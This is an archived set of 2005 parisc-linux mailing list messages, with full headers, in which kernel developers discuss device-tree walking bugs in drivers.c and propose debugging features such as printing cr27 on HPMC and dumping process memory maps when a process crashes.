Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 3623117050;
	Sun, 31 Jul 2005 16:29:05 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07562-02; Sun, 31 Jul 2005 16:28:54 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id CE3151707B; Sun, 31 Jul 2005 16:28:53 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x307294429-52656d6f746546617454697265-494e424f582e4f7574626f78: 1122841659-0572826840095-v4.0.10
Content-Disposition: inline
In-Reply-To: <20050731202338.GK21753@roadwarrior.mcmartin.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zVGfYmUReSEkZb6WZHQhaXN1IGRvbwB/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23000

On Sun, Jul 31, 2005 at 04:23:38PM -0400, Kyle McMartin wrote:
> static struct parisc_device *
> next_device(struct parisc_device *padev) {

...

> 	dev = next_device(&i);

Err, oops. The function should be next_dev, and next_device should be
a la the one in sba_iommu.c and gsc.c.

Oops,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 02:12:54 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20050731061254.GG21753@roadwarrior.mcmartin.ca>
References: <20050730231056.GC5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623874 15902 80.91.229.3 (22 Nov 2014 02:37:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@levanta.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 06:15:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 31 Jul 2005 08:15:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 64B907D722;
	Sun, 31 Jul 2005 00:15:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28154-07; Sun, 31 Jul 2005 00:15:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0FC97D725;
	Sun, 31 Jul 2005 00:15:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAD337D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 00:15:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28158-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 00:15:06 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 540587D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 00:15:06 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 42B1D17050;
	Sun, 31 Jul 2005 02:15:05 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31554-06; Sun, 31 Jul 2005 02:14:53 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 63A1F1707B; Sun, 31 Jul 2005 02:14:53 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1109352423-52656d6f746546617454697265-494e424f582e4f7574626f78: 1122790422-0695728491377-v4.0.10
Content-Disposition: inline
In-Reply-To: <20050730231056.GC5500@levanta.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IgmeYms+eSEkdL6WZHQhaXN1IGRvb8CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23001

On Sun, Jul 31, 2005 at 12:10:56AM +0100, Richard Hirst wrote:
> PDC Stable Storage facility v0.09
> Backtrace:
>  [<10128170>] __wake_up+0x54/0x84

Try disabling CONFIG_PDC_STABLE_STORAGE until this gets worked out.

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Feature request for parsic kernel hackers (2
	mini-projects)
Date: Mon, 1 Aug 2005 00:57:38 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20050801045734.GU9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623874 15904 80.91.229.3 (22 Nov 2014 02:37:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2005 04:57:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 01 Aug 2005 06:57:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A60717D6B4;
	Sun, 31 Jul 2005 22:57:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05503-01; Sun, 31 Jul 2005 22:57:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 896A67D69F;
	Sun, 31 Jul 2005 22:57:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 488917D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 22:57:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04835-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 22:57:40 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id B4FF47D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 22:57:40 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DzSMt-0006mY-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 01 Aug 2005 00:57:39 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: h86fYvF+eSEkRr6WZHQhaXN1IGRvb8AQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23002


parisc,

I have two small kernel hacker projects.

1. Add cr27 printing to HPMC, this would let someone debug
   multi-threaded problems by examining the thread register.
   It would be even cooler to make this NPTL aware and dump
   the TCB and DTV.

2. Add some option that enables the user to print something
   like /proc/self/maps when a user process dies. This is 
   very usefull for translating a fault address into a quick
   estimate of which library function crashed.

Fame and glory? My gratitude? :)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Feature request for parsic kernel hackers
	(2	mini-projects)
Date: Mon, 01 Aug 2005 17:59:20 +0800
Lines: 15
Approved: news@gmane.org
Message-ID: <42EDF278.5080403@tausq.org>
References: <20050801045734.GU9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623875 15905 80.91.229.3 (22 Nov 2014 02:37:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2005 09:59:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 01 Aug 2005 11:59:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F29337D6B3;
	Mon,  1 Aug 2005 03:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07630-02; Mon, 1 Aug 2005 03:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3F1B7D6A1;
	Mon,  1 Aug 2005 03:59:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62FE57D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 03:59:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07417-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 03:59:39 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id A5C6E7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 03:59:39 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1DzX2g-0004OB-7l; Mon, 01 Aug 2005 17:57:06 +0800
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Accept-Language: en-us, en
In-Reply-To: <20050801045734.GU9703@systemhalted.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xJefYjtoeSEkar6WZHQhaXN1IGRvb4DB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23003

> 2. Add some option that enables the user to print something
>    like /proc/self/maps when a user process dies. This is 
>    very usefull for translating a fault address into a quick
>    estimate of which library function crashed.

gdb?

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Mon, 1 Aug 2005 14:48:44 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20050801134844.GI5500@levanta.com>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
	<20050731193229.GE5500@levanta.com>
	<20050731193821.GI21753@roadwarrior.mcmartin.ca>
	<20050731200144.GF5500@levanta.com>
	<20050731202338.GK21753@roadwarrior.mcmartin.ca>
	<20050731202709.GL21753@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623875 15906 80.91.229.3 (22 Nov 2014 02:37:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2005 13:48:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 01 Aug 2005 15:48:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA2647D6BF;
	Mon,  1 Aug 2005 07:48:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10641-04; Mon, 1 Aug 2005 07:48:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7F8C7D6C0;
	Mon,  1 Aug 2005 07:48:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDC4E7D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 07:48:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10641-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 07:48:46 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id 09A637D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 07:48:46 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id 6EF7F27B68B; Mon,  1 Aug 2005 14:48:44 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20050731202709.GL21753@roadwarrior.mcmartin.ca>
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EU2cYg11eSEkeL6WZHQhaXN1IGRvb0Cs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23004

On Sun, Jul 31, 2005 at 04:27:09PM -0400, Kyle McMartin wrote:
> On Sun, Jul 31, 2005 at 04:23:38PM -0400, Kyle McMartin wrote:
> > static struct parisc_device *
> > next_device(struct parisc_device *padev) {
> 
> ...
> 
> > 	dev = next_device(&i);
> 
> Err, oops. The function should be next_dev, and next_device should be
> a la the one in sba_iommu.c and gsc.c.

Not tried this yet, but I'm unclear as to which problem you are
trying to fix...

a) "Found devices" display order

b) an alternative to my match_by_id() change that removed a check_dev() call

c) a fix to gscps2.c hanging my C360 (unlikely, I guess)

d) multiple of the above :-)


The old version of drivers.c had a for_each_padev() that did a depth
first walk of the tree reporting parents before children.  The new
code is reporting children before parents which is what causes (a)
above, I think.

check_dev() is used in several places now, all of which just check
for null/non-null return, so I'm not convinced that making it walk
the tree via next_dev() is right; take this for example:

static int print_one_device(struct device * dev, void * data)
{
        struct parisc_device * pdev = to_parisc_device(dev);

        if (check_dev(pdev))
                print_parisc_device(pdev);
        return 0;
}

if check_dev(pdev) might call next_dev() and return some other
pdev, does it make sense to be calling print_parisc_device() on the
original pdev?

I'm happy to poke at this some more anyway,

Richard

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Feature request for parsic kernel hackers
	(2	mini-projects)
Date: Mon, 1 Aug 2005 10:26:48 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20050801142644.GV9703@systemhalted.org>
References: <20050801045734.GU9703@systemhalted.org>
	<42EDF278.5080403@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623875 15909 80.91.229.3 (22 Nov 2014 02:37:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2005 14:27:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 01 Aug 2005 16:27:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 395A17D6C4;
	Mon,  1 Aug 2005 08:27:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10954-10; Mon, 1 Aug 2005 08:27:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B9D57D6C7;
	Mon,  1 Aug 2005 08:27:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D82E97D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 08:27:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10980-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 08:27:02 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3BEC37D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 08:27:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DzbFh-0003oI-00; Mon, 01 Aug 2005 10:26:49 -0400
Content-Disposition: inline
In-Reply-To: <42EDF278.5080403@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F1ScYv5XeSEkSb6WZHQhaXN1IGRvbwCP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23005

On Mon, Aug 01, 2005 at 05:59:20PM +0800, Randolph Chung wrote:
> > 2. Add some option that enables the user to print something
> >    like /proc/self/maps when a user process dies. This is 
> >    very usefull for translating a fault address into a quick
> >    estimate of which library function crashed.
> 
> gdb?

If I can't reproduce the crash in the debugger? In particular the PA8800
crashes are so weird that I can't get the same thing under the debugger.

Also, when a process dies in gdb 6.x it throws away the process information
and I can't look at the maps anymore. I have to let it die, remember
where it died, start it again and then hope the DSO loading was
deterministic (e.g. No weird use of dlopen).

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
